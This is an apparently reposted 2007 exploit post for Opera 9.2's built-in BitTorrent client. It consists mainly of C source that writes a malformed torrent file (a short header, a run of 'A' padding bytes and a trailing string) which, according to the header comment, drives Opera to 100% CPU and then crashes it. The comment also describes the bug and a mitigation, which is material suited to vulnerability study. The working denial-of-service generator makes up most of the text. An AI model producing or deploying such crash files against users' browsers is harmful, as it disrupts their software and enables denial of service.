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Opera 9.2 (torrent File) Remote Denial of Service Exploit
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来源：http://igniteds.net 作者：n00b 发布时间：2007-04-24
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/************************************************************************
* Created Date :April 23 2007
*
* Credits go to n00b for finding this vulnerability and writing p0c.
* Moderator of http://igniteds.net
*
* 0pera 9.2 torrent file remote dos exploit.
*
* opera has its own bit torrent client with-in the web browser
* it is possible to crash opera with a malformed torrent file
* causing denial of service to legitimate users..Opera will
* use 100% cpu till the inevitable happens..Which will be a crash
* To fix this problem disable the bitorrent with in opera..
*
* Tested : win xp service pack 1 and 2
*
* I wasn't able to catch any debugging info I'm afraid maybe some one
* else can give it a go.
*
* All i was able to get from drwatson pmsl was.
************************************************************************
* Application exception occurred:
* App: C:\Program Files\Opera\Opera.exe (pid=1084)
* When: 4/22/2007 @ 14:55:29.296
* Exception number: 80000003 (hard coded breakpoint)
************************************************************************
* Seams like some sort of memory leak with the bitorrent client
* of opera..
************************************************************************
********************************
**/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void usage(char* file);
char header[] = "\x64\x38";
char My_buff[] =
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";
char trailing_buff[] =
"\x36\x31\x3a\x09\x44\x69\x65\x20\x6f\x70\x65\x72\x61"
"\x20\x79\x6f\x75\x20\x73\x6c\x75\x74";
int main(int argc,char* argv[])
{
system("cls");
printf("\n *************************************************");
printf("\n * Opera torrent file dos exploit by n00b *");
printf("\n *************************************************");
printf("\n * Shouts to every one at milw0rm *");
printf("\n *************************************************");
printf("\n * Special thanks to str0ke *");
printf("\n * *");
printf("\n * Date :Aprill 23 2007 *");
printf("\n *************************************************");
printf("\n * CREDITS TO n00b FOR FINDING THIS BUG *");
printf("\n *************************************************");
if ( argc!=2 )
{
usage(argv[0]);
}
FILE *f;
f = fopen(argv[1],"w");
if ( !f )
{
printf("\nFuck some thing went wrong :D");
exit(1);
}
printf("\n\nMaking torrent file...");
fwrite(header,1,sizeof(header),f);
fwrite(My_buff,1,sizeof(My_buff),f);
fwrite(trailing_buff,1,sizeof(trailing_buff),f);
printf("\nDone hoooooha!");
printf("\n ");
printf("\n0h noes memory leak pmsl !!");
return 0;
}
void usage(char* file)
{
printf("\n\nusage: n00b.exe opera.torrent");
exit(1);
}
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